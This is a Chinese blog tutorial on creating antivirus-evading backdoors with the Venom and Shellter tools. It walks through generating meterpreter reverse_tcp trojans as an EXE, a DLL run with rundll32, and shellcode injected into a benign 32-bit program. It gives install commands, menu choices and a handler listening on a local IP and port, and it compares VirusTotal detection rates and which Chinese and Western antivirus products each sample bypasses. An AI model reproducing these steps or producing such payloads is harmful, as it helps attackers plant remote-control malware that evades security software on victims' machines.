参考链接:
利用meterpreter下的Venom免杀后门:https://www.cnblogs.com/wh4am1/p/7469625.html
免杀后门venom :https://www.ggsec.cn/venom.html
msf免杀及后渗透技术:https://bbs.ichunqiu.com/thread-49618-1-1.html
Venom
Venom和Veil、Shellter是三大老牌免杀工具,免杀主要依靠分离执行和加密混淆等技术,可以和msf无缝对接。
Venom利用msfvenom(metasploit)生成不同的格式的shellcode,如(c | python | ruby | dll | msi | hta-psh)等,然后将生成的shellcode注入一个模板(例如:python),并使用类似gcc、mingw32或pyinstaller之类的编译器生成可执行文件。
Venom的一些功能还会直接调用Veil-Evasion.py,unicorn.py,powersploit.py等来直接创建免杀程序,避免重复造轮子。
安装
venom安装和运行必须是在图形界面下,并且依赖比较多
git clone https://github.com/r00t-3xp10it/venom.git
cd venom
sudo chmod -R +x *.sh
sudo chmod -R +x *.py #我没碰到.py的文件,不晓得之前的版本是否有
cd aux
sudo ./setup.sh #如果不成功可以多执行几次setup
sudo ./venom.sh #开始运行venom
我一路上安装没有出现问题,不过重剑无锋大佬遇到了zenity报错信息:zenity: relocation error: /usr/lib/x86_64-linux-gnu/libxslt.so.1: symbol xmlBufContent version LIBXML2_2.9.0 not defined in file libxml2.so.2 with link time reference
后来经分析,发现系统中存在多个libxml2.so.2文件,使用locate可定位。
将系统中/usr/local/lib/目录下的libxml2.so.2从libxml2.so.2.7.8更换为libxml2.so.2.9.4
mv /usr/local/lib/libxml2.so.2.7.8 /usr/local/lib/libxml2.so.2.7.8_bak
mv /usr/local/lib/libxml2.so.2 /usr/local/lib/libxml2.so.2_bak
ln -s /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.4 /usr/local/lib/libxml2.so.2
之后即可安装成功
另外注意,在parrot系统中,root用户无法直接使用systemctl start apache2.service开启apache等服务,必须普通用户才行。否则会提示
#systemctl restart apache2.serviceFailed to restart apache2.service: Access deniedSee system logs and 'systemctl status apache2.service' for details.
venom生成exe(VT查杀率40/71)
./venom
2 #windows
4 #通过c编译exe程序
输入ip地址

然后输入端口号,我忘记截图了,之后选择reverse_tcp

再输入文件名

这里选择是否混淆命令参数以逃避沙箱的检测

我选择的默认,不过也可以选择延迟三秒
接下来是如何提供,我选择默认的multi-handler
生成了木马文件

去测试机器测试一下
360直接拦掉了,火绒并未检测到
WTF!!!!又没有成功

看这孤零零的shell,我心都碎了,哪位大佬复现成功麻烦告诉我一下原因,万分感谢
vt率:
可能以前被传过吧,免杀的效果变差了
venom生成dll(VT查杀率16/68)
我们试一下其他模块的免杀效果,agent中选择第一个,生成dll
然后生成了dll.dll文件
在靶机上运行:
rundll32.exe dll.dll,main
可以正常上线,真不容易哦

被360拦掉了,但是可以过火绒,大佬的文章上是可以过360的,看来攻与防的对抗总是在不断升级的

vt的效果:

看起来效果不错
venom是一个综合性非常强大的工具,而且支持生成多平台payload,比如android、ios、linux/unix、office等等,我这里也只是简单演示了windows下的两个agent,其他还有很多agent模块免杀能力很强,比如18 shellter模块等等。
在venom生成编译的过程中可以看到他生成的shellcode其实是直接调用的msfvenom,而且在最后也可以和msf联动进行监听,还支持apache的web分发,很多模块都能和msf无缝对接,虽然被杀软盯的紧但免杀体验还是不错的。
还有其他的模块暂时没有去尝试,到时候有时间专门搞一搞免杀相关的所有东西,尽量全部了解,现在先仅仅做一下浅显的了解吧
ps:这个软件安装是真滴慢
Shellter(VT免杀率10/70)
Shellter和Venom、Veil是三大老牌免杀工具,Shellter是一个开源的免杀工具,利用动态Shellcode注入或者命令来实现免杀的效果。
安装
shellter在kali中自带,直接apt-get安装即可
使用
首先运行软件,然后A,N(不进行在线更新),被注入软件路径(被注入的程序只能是32位程序)

然后我kali版本的shellter就不好使了,可能是这个软件还有点小bug,又或者是kali的问题(我用2019.4和2020.1都试过了,shellter都会出错)
这时我用了windows版的shellter:

输入L,1(reverse_tcp),然后之后的ip+端口常规操作

放在靶机上执行,可以正常上线
handler -H 192.168.42.138 -P 3333 -p windows/meterpreter/reverse_tcp #开启监听

360和火绒均可以免杀(140装了360全家桶,141装了火绒)
上vt:

卡巴和微软都没过
ps:上传vt后没多久,360立刻就把我的测试马拦掉了,可太逗了,随便换个参数,不上vt,360就完全束手无策了,呵呵

我又拿自己写的一段helloworld注入了马

可以正常上线,而且仍然可以过360和火绒

vt查杀率(10/70),仍然过不了卡巴和微软(卡巴是真的牛逼):

Shellter安装非常简单,使用也非常便捷,而且生成的payload免杀效果也都比较好,windows和linux下都可以使用,实在是居家旅行、**灭口必备良药。我是用的自动模式进行生产payload,你可以根据自己的需要进行手动配置,这样生成的payload免杀效果会更好。
我这个19个都拦掉了,重剑无锋大佬测试的效果可能更好一些,因为shellter生成的shellcode是动态的,所以被查杀的几率也不同吧






1046



被折叠的 条评论
为什么被折叠?



